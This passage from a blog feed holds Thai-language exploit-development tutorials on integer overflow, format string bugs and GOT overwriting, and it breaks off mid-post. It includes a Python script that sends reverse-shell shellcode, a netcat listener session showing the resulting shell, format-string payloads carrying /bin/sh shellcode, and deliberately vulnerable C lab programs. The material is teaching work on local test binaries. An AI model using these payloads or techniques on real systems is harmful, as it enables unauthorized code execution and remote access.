shellcode&lt;/p&gt;&lt;p&gt;เมื่อรวมทุกอย่างเราจะได้โปรแกรม python ดังนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_11_1.py?attredirects=0&amp;d=1"&gt;ex_11_1.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;import socket&lt;br /&gt;import time&lt;br /&gt;from struct import pack&lt;br /&gt;&lt;br /&gt;# shellcode address&lt;br /&gt;addr = 0xbffff690&lt;br /&gt;&lt;br /&gt;# stack adjustment (add esp, 0x80) (6 bytes)&lt;br /&gt;addesp = "\x81\xc4\x80\x00\x00\x00"&lt;br /&gt;# reverse shell, connect back to 127.0.0.1:5555 (67 bytes)&lt;br /&gt;rsh_sc = "\x31\xdb\x8d\x43\x66\x53\x43\x53\x6a\x02\x89\xe1\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x68\x7f\x00\x00\x01\x68\x02\x00\x15\xb3\x89\xe1\x50\x51\x53\x89\xe1\x6a\x03\x5b\xcd\x80\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80"&lt;br /&gt;&lt;br /&gt;sc = addesp + rsh_sc&lt;br /&gt;&lt;br /&gt;# first data to be sent&lt;br /&gt;payload = "\x90"*(127 - len(sc)) + sc&lt;br /&gt;payload_enc = "".join([ chr(ord(c) ^ 0xaf) for c in payload ])&lt;br /&gt;&lt;br /&gt;# connect to the target&lt;br /&gt;s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;s.connect(("127.0.0.1", 55555))&lt;br /&gt;&lt;br /&gt;# send datalen (127)&lt;br /&gt;s.send("\x7f")&lt;br /&gt;&lt;br /&gt;# send junk 126 bytes&lt;br /&gt;s.send("J"*126)&lt;br /&gt;&lt;br /&gt;# sleep 1 sec before sending again, so the data is not merged in 1 recv&lt;br /&gt;time.sleep(1)&lt;br /&gt;&lt;br /&gt;# send data to overwrite the eip and cause the "len" overflow (126 bytes)&lt;br /&gt;# - junk 2 bytes to fill the buffer&lt;br /&gt;# - junk 8 bytes&lt;br /&gt;# - saved ebp 4 bytes&lt;br /&gt;# - saved eip 4 bytes&lt;br /&gt;# - the client_fd argv 4 bytes (4)&lt;br /&gt;# - junk (126 - 17) bytes&lt;br /&gt;s.send("A"*10 + "sebp" + pack("&amp;lt;I", addr) + pack("&amp;lt;I", 4) + "J"*(126 - 22))&lt;br /&gt;&lt;br /&gt;# now "len" is overflown to be 126 + 126 = -4&lt;br /&gt;# send 4 bytes to make recv buffer at the beginning again&lt;br /&gt;s.send("\x00"*4)&lt;br /&gt;&lt;br /&gt;# send the payload&lt;br /&gt;s.send(payload_enc)&lt;br /&gt;&lt;br /&gt;s.close()&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ใช้ nc เพื่อ listen ที่่ port 5555 แล้ว run python โปรแกรมข้างบนจะได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ nc -vl 5555&lt;br /&gt;Connection from 127.0.0.1 port 5555 [tcp/*] accepted&lt;br /&gt;id&lt;br /&gt;uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;exit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ทำได้แล้ว สำหรับตัวอย่างนี้อาจจะยากไปซักหน่อยสำหรับหลายๆ คน (ผมตั้งใจให้มันยากเอง ^.^) แต่ในบางครั้งเราจำเป็นต้องคิดถึงในหลายๆ เรื่อง เพื่อให้โปรแกรมทำงานต่อไปได้ ถึงแม้จะเกิด overflow ไปแล้ว เพื่อให้โปรแกรมทำงานจนถึง shellcode ที่เราใส่เข้าไป และใน application จริงอาจจะได้เจอโปรแกรมที่มีความซับซ้อนมากกว่านี้&lt;/p&gt;&lt;p&gt;&lt;b&gt;Reference:&lt;/b&gt;&lt;br/&gt;- http://www.phrack.org/issues.html?issue=60&amp;id=10&lt;br/&gt;- https://www.owasp.org/index.php/Integer_overflow&lt;br/&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-7035055635420189209?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/7035055635420189209/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/04/integer-overflow.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7035055635420189209'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7035055635420189209'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/04/integer-overflow.html' title='Integer Overflow'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-7988896076960526899</id><published>2011-04-14T22:43:00.000+07:00</published><updated>2011-10-16T21:38:56.345+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Format String Bug</title><content type='html'>&lt;p&gt;หลายคนคงเขียนใช้คำสั่ง printf ใน C มาแล้ว format string คือ argument ที่ชื่อว่า format ในตระกูล printf function เช่น printf, fprintf, sprintf เป็นต้น โดยคำสั่งเหล่านี้ สามารถดูรายละเอียดได้ด้วย &lt;span class="code"&gt;"man 3 printf"&lt;/span&gt;&lt;/p&gt;&lt;p&gt;ฟังก์ชันในตระกูล printf จะรับ argument กี่ตัวก็ได้ โดยปกติเราจะใส่เพิ่มเท่ากับจำนวนตัวแปรที่เราใช้ใน format string เช่น&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;printf("%s %d %x", "Hello", 1234, 0xabcd);&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;format string คือ &lt;span class="code"&gt;"%s %d %x"&lt;/span&gt; ซึ่งต้องการ argument 3 ตัว สำหรับ format string โดยวิธีการเรียก printf function จะเป็นแบบ cdecl (สำหรับคนที่ลืมว่าคืออะไร กลับไปดูได้ที่หัวข้อ &lt;a href="http://thtutz.blogspot.com/2010/12/function-stack.html"&gt;Function กับ Stack&lt;/a&gt;) คือ argument จะส่งผ่านโดยการนำค่าลงใน stack&lt;/p&gt;&lt;p&gt;แต่ถ้าเราไม่ใส่ argument เพิ่มสำหรับ format string ฟังก์ชัน printf ก็ยังคงทำงานเสมือนเราส่งผ่าน argument ให้ โดยการดึงค่าของ argument ถัดไปจาก stack เรามาดูตัวอย่างกันเลยดีกว่า (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_10_1.c?attredirects=0&amp;d=1"&gt;ex_10_1.c&lt;/a&gt;) เมื่อ compile จะมี warning โดยผมจะพูดถึงทีหลัง&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_10_1 ex_10_1.c */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    char buf[512];&lt;br /&gt;    strncpy(buf, argv[1], 510);&lt;br /&gt;    printf(buf);&lt;br /&gt;    &lt;br /&gt;    exit(0);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;อ่านค่าจาก memory&lt;/h4&gt;&lt;p&gt;ในโปรแกรมนี้ จะเห็นว่า strncpy() นี้ ไม่มีการเกิด buffer overflow แต่ในบรรทัด printf นั้นจะเห็นว่า buf คือ format string ดังนั้น input ที่เราใส่เข้าไปจะเป็น format string ดังนั้นถ้าเราลอง&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_10_1 "test" &amp;&amp; echo&lt;br /&gt;test&lt;br /&gt;$ ./ex_10_1 "%s" &amp;&amp; echo&lt;br /&gt;%s&lt;br /&gt;$ ./ex_10_1 "%s%s" &amp;&amp; echo&lt;br /&gt;Segmentation fault&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ทำไมเกิด "Segmentation fault" เรามาลองดูใน gdb กันดีกว่า&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_10_1&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disas main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;...&lt;br /&gt;   0x08048460 &amp;lt;+44&amp;gt;:    lea    0x10(%esp),%eax&lt;br /&gt;   0x08048464 &amp;lt;+48&amp;gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x08048467 &amp;lt;+51&amp;gt;:    call   0x8048354 &amp;lt;printf@plt&amp;gt;&lt;br /&gt;...&lt;br /&gt;(gdb) b *0x08048467&lt;br /&gt;Breakpoint 1 at 0x8048467&lt;br /&gt;(gdb) r "%s%s"&lt;br /&gt;Starting program: /home/worawit/tutz/ch10/ex_10_1 "%s%s"&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048467 in main ()&lt;br /&gt;(gdb) x/4x $esp&lt;br /&gt;0xbffff4f0:     0xbffff500      0xbffff8ff      0x000001fe      0x00000000&lt;br /&gt;(gdb) x/s 0xbffff500     # argument ตัวที่1 ของ printf คือ format string&lt;br /&gt;0xbffff500:      "%s%s"&lt;br /&gt;(gdb) x/s 0xbffff8ff     # argument สำหรับ %s แรก&lt;br /&gt;0xbffff8ff:      "%s%s"&lt;br /&gt;(gdb) x/s 0x000001fe     # argument สำหรับ %s ตัวที่สอง&lt;br /&gt;0x1fe:   &amp;lt;Address 0x1fe out of bounds&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า argument สำหรับ &lt;span class="code"&gt;%s&lt;/span&gt; ตัวที่สองนั้น เป็น address ที่ไม่สามารถอ้างถึงได้ ทำให้เกิด segmentation fault ดังนั้นถ้าเราเปลี่ยนจาก &lt;span class="code"&gt;%s&lt;/span&gt; เป็น &lt;span class="code"&gt;%x&lt;/span&gt; เพื่อดูค่าต่างๆ ทำให้เราสามารถอ่านค่าต่างๆ ที่อยู่ใน memory ได้ เช่น&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_10_1 "%x %x %x %x" &amp;&amp; echo&lt;br /&gt;bffff90b 1fe 0 25207825&lt;br /&gt;$ ./ex_10_1 "AAAAAAAA %x %x %x %x %x %x %x %x" &amp;&amp; echo&lt;br /&gt;AAAAAAAA bffff8f6 1fe 0 41414141 41414141 20782520 25207825 78252078&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า เราสามารถ dump ค่าที่อยู่ใน stack ออกมาได้ และถ้าสังเกตค่า 41414141 ค่านี้คือตัวอักษร AAAA ซึ่งเป็น string ที่โปรแกรม copy ไปไว้ใน buf&lt;/p&gt;&lt;p&gt;จาก man page ของ printf เราสามารถที่จะอ้างถึง argument สำหรับ format string ตัวที่ต้องการได้โดยตรง ด้วยการใช้ &lt;span class="code"&gt;$&lt;/span&gt; modifier เช่นถ้าเราต้องการให้ print ค่าจาก argument ตัวที่ 4 ของ format string ก็จะเป็น &lt;span class="code"&gt;%4$x&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_10_1 "AAAA %4\$x" &amp;&amp; echo&lt;br /&gt;AAAA 41414141&lt;br /&gt;$ ./ex_10_1 'AAAA %5$x' &amp;&amp; echo&lt;br /&gt;AAAA 24352520&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ดังนั้น เมื่อเราใช้ &lt;span class="code"&gt;$&lt;/span&gt; modifier จะทำให้เราสามารถอ่านค่าจาก memory ในตำแหน่งที่ต้องการได้ เช่นตัวอย่างต่อไปนี้ที่ทำการ dump ค่าออกมา&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ for(( i = 1; i &lt; 50; i++)); do echo -n "$i " &amp;&amp; ./ex_10_1 "AAAABBBBCCCCDDDDEEEE1234567890_%$i\$x" &amp;&amp; echo; done&lt;br /&gt;1 AAAABBBBCCCCDDDDEEEE1234567890_bffff8f4&lt;br /&gt;2 AAAABBBBCCCCDDDDEEEE1234567890_1fe&lt;br /&gt;3 AAAABBBBCCCCDDDDEEEE1234567890_0&lt;br /&gt;4 AAAABBBBCCCCDDDDEEEE1234567890_41414141&lt;br /&gt;5 AAAABBBBCCCCDDDDEEEE1234567890_42424242&lt;br /&gt;6 AAAABBBBCCCCDDDDEEEE1234567890_43434343&lt;br /&gt;7 AAAABBBBCCCCDDDDEEEE1234567890_44444444&lt;br /&gt;8 AAAABBBBCCCCDDDDEEEE1234567890_45454545&lt;br /&gt;9 AAAABBBBCCCCDDDDEEEE1234567890_34333231&lt;br /&gt;10 AAAABBBBCCCCDDDDEEEE1234567890_38373635&lt;br /&gt;11 AAAABBBBCCCCDDDDEEEE1234567890_255f3039&lt;br /&gt;12 AAAABBBBCCCCDDDDEEEE1234567890_78243231&lt;br /&gt;13 AAAABBBBCCCCDDDDEEEE1234567890_0&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;เขียนค่าลงใน memory&lt;/h4&gt;&lt;p&gt;หลังจากอ่านค่าจาก memory ไปแล้ว คราวนี้มาดูวิธีการเขียนค่าลงใน memory บ้าง ถ้าดูที่ "conversion specifier" ใน man page จะเห็นว่าตัว &lt;span class="code"&gt;n&lt;/span&gt; ใช้สำหรับเขียนจำนวนตัวอักษรที่แสดงผลไปแล้ว ที่ address ที่ระบุใน argument ของ format string เช่น (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_10_2.c?attredirects=0&amp;d=1"&gt;ex_10_2.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/* gcc -o ex_10_2 ex_10_2.c */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;    unsigned int num;&lt;br /&gt;    printf("%s\n%n", argv[1], &amp;num);&lt;br /&gt;    printf("num is %u\n", num);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_10_2 a&lt;br /&gt;a&lt;br /&gt;num is 2&lt;br /&gt;$ ./ex_10_2 ab&lt;br /&gt;ab&lt;br /&gt;num is 3&lt;br /&gt;$ ./ex_10_2 12&lt;br /&gt;12&lt;br /&gt;num is 3&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า num จะเท่ากับจำนวนที่ printf ได้แสดงผลไปแล้ว (รวม \n ด้วยนะครับ)&lt;/p&gt;&lt;p&gt;กลับไปที่ตัวอย่างแรก จะเห็นว่าตอนเรา dump ค่าออกมา จะมีค่าที่เราใส่เข้าไปอยู่ใน stack ด้วย แสดงว่าถ้าเราใส่ค่าเป็น address ของที่เราต้องการที่จะเขียน แล้วใช้ format string &lt;span class="code"&gt;%n&lt;/span&gt; เพื่อเขียนค่าเข้าไปในตำแหน่งที่เราต้องการ แต่เราจะเขียนทับที่ไหนดีละ&lt;/p&gt;&lt;p&gt;จริงๆ แล้วมีอยู่หลายที่จะเขียนทับได้ แต่ผมจะแสดงการเขียนทับ GOT entry ที่เก็บ address ของ exit function เอาไว้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -R ./ex_10_1 | grep exit&lt;br /&gt;08049648 R_386_JUMP_SLOT   exit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจากได้ address เรามาลองเขียนทับกัน โดยจากที่เราทดสอบข้างบน ค่าใน buf จะเริ่มเป็น argument ของ format string ที่ตัวที่ 4 ดังนั้นเวลาเราใช้ &lt;span class="code"&gt;$&lt;/span&gt; modifier เราต้องอ้างให้ตรงกับตำแหน่งที่เราใส่ address ของ GOT entry ลงไป&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_10_1&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch10/ex_10_1...(no debugging symbols found)...done.&lt;br /&gt;(gdb) b *0x08048467&lt;br /&gt;Breakpoint 1 at 0x8048467&lt;br /&gt;(gdb) r `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`&lt;br /&gt;&lt;br /&gt;Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x0812345678%4\\$n"'`&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048467 in main ()&lt;br /&gt;(gdb) x/x 0x08049648&lt;br /&gt;0x8049648 &amp;lt;_GLOBAL_OFFSET_TABLE_+28&amp;gt;:   0x0804836a&lt;br /&gt;(gdb) ni&lt;br /&gt;0x0804846c in main ()&lt;br /&gt;(gdb) x/x 0x08049648&lt;br /&gt;0x8049648 &amp;lt;_GLOBAL_OFFSET_TABLE_+28&amp;gt;:   0x0000000c    # ที่เป็น 12 เพราะ \x48\x96\x04\x0812345678&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เราสามารถแก้ค่าของ GOT entry ได้แล้ว แต่ถ้าจำกันได้ ปกติค่าของ stack ที่เราจะใส่ shellcode จะมีค่าเป็น 0xbf?????? ปกติเราจะใส่จำนวนตัวอักษรที่ยาวขนาดนั้นไม่ได้ แต่เราสามารถที่จะกำหนดความยาวของค่าที่จะพิมพ์ได้ (อยู่ในหัวข้อ The field width ใน man page) เช่น &lt;span class="code"&gt;%10d&lt;/span&gt; จะพิมพ์ทั้งหมด 10 ตัวอักษร ถ้าตัวเลขยาวไม่พอก็จะ pad ด้วยช่องว่างข้างหน้า&lt;/p&gt;&lt;p&gt;แต่ถ้าเราใส่ค่าขนาดนั้นเพื่อที่จะ print จะพบว่าแค่ print ก็ต้องใช้เวลานานมากๆ วิธีแก้ก็คือเขียน 2 รอบเพื่อแก้ค่าทีละ 2 bytes และเพื่อความสะดวก เราสามารถที่จะใช้ length modifier ตัว h ให้เป็น &lt;span class="code"&gt;%hn&lt;/span&gt; เพื่อเขียนทีละ 2 bytes&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) r `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`&lt;br /&gt;&lt;br /&gt;Starting program: /home/worawit/tutz/ch10/ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$n%512x%5\\$n"'`&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048467 in main ()&lt;br /&gt;(gdb) x/x 0x08049648&lt;br /&gt;0x8049648 &amp;lt;_GLOBAL_OFFSET_TABLE_+28&amp;gt;:   0x0804836a&lt;br /&gt;(gdb) ni&lt;br /&gt;... # ตัวอักษรที่ print ออกมา&lt;br /&gt;0x0804846c in main ()&lt;br /&gt;(gdb) x/x 0x08049648&lt;br /&gt;0x8049648 &amp;lt;_GLOBAL_OFFSET_TABLE_+28&amp;gt;:   0x04080208  # คิดถึงเรื่อง endian ด้วย&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;หลังจากทดสอบว่าเราสามารถเขียนค่าได้แล้ว เราก็ต้องมาหา address ของ shellcode เพื่อเป็นค่าที่เราจะเขียนทับ GOT entry&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ulimit -c unlimited&lt;br /&gt;$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%512x%4\\$hn%512x%5\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`&lt;br /&gt;...&lt;br /&gt;Segmentation fault (core dumped)&lt;br /&gt;$ gdb -q ./ex_10_1 core&lt;br /&gt;...&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;#0  0x04080208 in ?? ()&lt;br /&gt;(gdb) x/20x $esp&lt;br /&gt;0xbffff46c:     0x08048478      0x00000000      0xbffff865      0x000001fe&lt;br /&gt;0xbffff47c:     0x00000000      0x08049648      0x0804964a      0x32313525&lt;br /&gt;0xbffff48c:     0x24342578      0x35256e68      0x25783231      0x6e682435&lt;br /&gt;0xbffff49c:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;0xbffff4ac:     0x90909090      0x90909090      0x90909090      0x90909090&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ address คือ 0xbffff4b0 ซึ่งจะเห็นว่าค่า 0xf4b0 (62640) นั้นมากกว่า 0xbfff (49151) ดังนั้นผมจะทำการเขียนค่าที่ 0x0804964a ก่อน ซึ่งค่าความยาวที่เราต้องใส่สำหรับ &lt;span class="code"&gt;%x&lt;/span&gt; แรกคือ 49151 - 8 = 49143 และ &lt;span class="code"&gt;%x&lt;/span&gt; ที่สองคือ 62640 - 49143 = 13497 ทำให้เราได้ exploit ดังนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ ./ex_10_1 `perl -e 'print "\x48\x96\x04\x08\x4a\x96\x04\x08%49143x%5\\$hn%13497x%4\\$hn" . "\x90"x128 . "\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x8d\x41\x0b\x99\xcd\x80"'`&lt;br /&gt;...&lt;br /&gt;$ &lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ผ่านไปอีก 1 เทคนิค ก่อนจบกลับไปดูที่ warning ตอนแรกกันก่อน จะเห็นว่า gcc ได้มีการเตือนแล้วเราโค้ดแบบนี้ อาจจะมีปัญหาได้ ซึ่งทำให้ programmer ส่วนมากนั้น จะเจอ bug นี้ตั้งแต่ตอน compile ทำให้ bug นี้นั้น ไม่ค่อยเห็นอีกแล้วในปัจจุบัน และเรายังสามารถให้ gcc แสดงเป็น error สำหรับกรณีเฉพาะได้ด้วย &lt;span class="code"&gt;-Werror=format-security&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gcc -Werror=format-security -o test ex_10_1.c&lt;br /&gt;ex_10_1.c: In function ‘main’:&lt;br /&gt;ex_10_1.c:13: error: format not a string literal and no format arguments&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-7988896076960526899?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/7988896076960526899/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/04/format-string-bug.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7988896076960526899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/7988896076960526899'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/04/format-string-bug.html' title='Format String Bug'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-3576440416963201468</id><published>2011-04-10T15:22:00.002+07:00</published><updated>2011-04-28T09:56:26.564+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Overwriting GOT</title><content type='html'>&lt;p&gt;Global Offset Table (GOT) คือตารางที่ใช้เก็บค่า address ของ function ต่างๆ ที่อยู่ใน Dynamic Shared Object (.so) เพื่อให้โปรแกรมหลักสามารถเรียกใช้งาน function เหล่านี้ได้&lt;/p&gt;&lt;p&gt;ถ้าเราลองดู assembly ของโปรแกรมด้วย gdb (ดูจากหัวข้อที่ผ่านมาก่อนได้) จะเห็นว่า function ที่เราเรียกใช้ใน libc จะมี @plt ต่อท้าย (PLT ย่อมาจาก Procedure Linkage Tble) โดย function ที่มี @plt (อยู่ใน .plt section) จะมีหน้าที่ในการหา address ของ function ที่อยู่ใน Shared Object แล้วใส่ค่าใน GOT เพื่อให้การเรียกครั้งต่อไปไม่ต้องมีการ resolve หา address ของ function ที่จะเรียกอีกรอบ (โดยปกติ เริ่มต้นโปรแกรมจะไม่มีการ resolve address ของ function ใน Shared Object จนกว่าจะมีการเรียก (Lazy Binding))&lt;/p&gt;&lt;p&gt;เพื่อให้เข้าใจ เรามาดูตัวอย่างกันเลยดีกว่า (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex_09_1.c?attredirects=0&amp;d=1"&gt;ex_09_1.c&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-c"&gt;&lt;br /&gt;/* gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_09_1 ex_09_1.c */&lt;br /&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;string.h&amp;gt;&lt;br /&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt; char *ptr;&lt;br /&gt; char buf[512];&lt;br /&gt;&lt;br /&gt; ptr = buf;&lt;br /&gt; strncpy(buf, argv[1], 516);&lt;br /&gt; printf("ptr address: %p\n", ptr);&lt;br /&gt; strncpy(ptr, argv[2], 4);&lt;br /&gt; printf("ptr address: %p\n", ptr);&lt;br /&gt;&lt;br /&gt; return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อเราลอง disassemble main function จะเห็น &lt;span class="code"&gt;strncpy@plt&lt;/span&gt; กับ  &lt;span class="code"&gt;printf@plt&lt;/span&gt; ตามนี้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ gdb -q ./ex_09_1&lt;br /&gt;Reading symbols from /home/worawit/tutz/ch09/ex_09_1...(no debugging symbols found)...done.&lt;br /&gt;(gdb) disass main&lt;br /&gt;Dump of assembler code for function main:&lt;br /&gt;   0x080483f4 &amp;lt;+0&amp;gt;:     push   %ebp&lt;br /&gt;...&lt;br /&gt;   0x08048423 &amp;lt;+47&amp;gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x08048426 &amp;lt;+50&amp;gt;:    call   0x8048310 &amp;lt;strncpy@plt&amp;gt;&lt;br /&gt;   0x0804842b &amp;lt;+55&amp;gt;:    mov    $0x8048550,%eax&lt;br /&gt;   0x08048430 &amp;lt;+60&amp;gt;:    mov    0x21c(%esp),%edx&lt;br /&gt;   0x08048437 &amp;lt;+67&amp;gt;:    mov    %edx,0x4(%esp)&lt;br /&gt;   0x0804843b &amp;lt;+71&amp;gt;:    mov    %eax,(%esp)&lt;br /&gt;   0x0804843e &amp;lt;+74&amp;gt;:    call   0x8048330 &amp;lt;printf@plt&amp;gt;&lt;br /&gt;...&lt;br /&gt;   0x0804845e &amp;lt;+106&amp;gt;:   mov    %eax,(%esp)&lt;br /&gt;   0x08048461 &amp;lt;+109&amp;gt;:   call   0x8048310 &amp;lt;strncpy@plt&amp;gt;&lt;br /&gt;   0x08048466 &amp;lt;+114&amp;gt;:   mov    $0x8048550,%eax&lt;br /&gt;   0x0804846b &amp;lt;+119&amp;gt;:   mov    0x21c(%esp),%edx&lt;br /&gt;   0x08048472 &amp;lt;+126&amp;gt;:   mov    %edx,0x4(%esp)&lt;br /&gt;   0x08048476 &amp;lt;+130&amp;gt;:   mov    %eax,(%esp)&lt;br /&gt;   0x08048479 &amp;lt;+133&amp;gt;:   call   0x8048330 &amp;lt;printf@plt&amp;gt;&lt;br /&gt;   0x0804847e &amp;lt;+138&amp;gt;:   mov    $0x0,%eax&lt;br /&gt;   0x08048483 &amp;lt;+143&amp;gt;:   leave&lt;br /&gt;   0x08048484 &amp;lt;+144&amp;gt;:   ret&lt;br /&gt;End of assembler dump.&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;และเมื่อเราลองรันโปรแกรม แล้วตามไปดูใน &lt;span class="code"&gt;strncpy@plt&lt;/span&gt;&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) b *0x08048426&lt;br /&gt;Breakpoint 1 at 0x8048426&lt;br /&gt;(gdb) r&lt;br /&gt;Starting program: /home/worawit/tutz/ch09/ex_09_1 a b&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x08048426 in main ()&lt;br /&gt;(gdb) si&lt;br /&gt;0x08048310 in strncpy@plt ()&lt;br /&gt;(gdb) disass&lt;br /&gt;Dump of assembler code for function strncpy@plt:&lt;br /&gt;=&amp;gt; 0x08048310 &amp;lt;+0&amp;gt;:     jmp    *0x8049660&lt;br /&gt;   0x08048316 &amp;lt;+6&amp;gt;:     push   $0x8&lt;br /&gt;   0x0804831b &amp;lt;+11&amp;gt;:    jmp    0x80482f0&lt;br 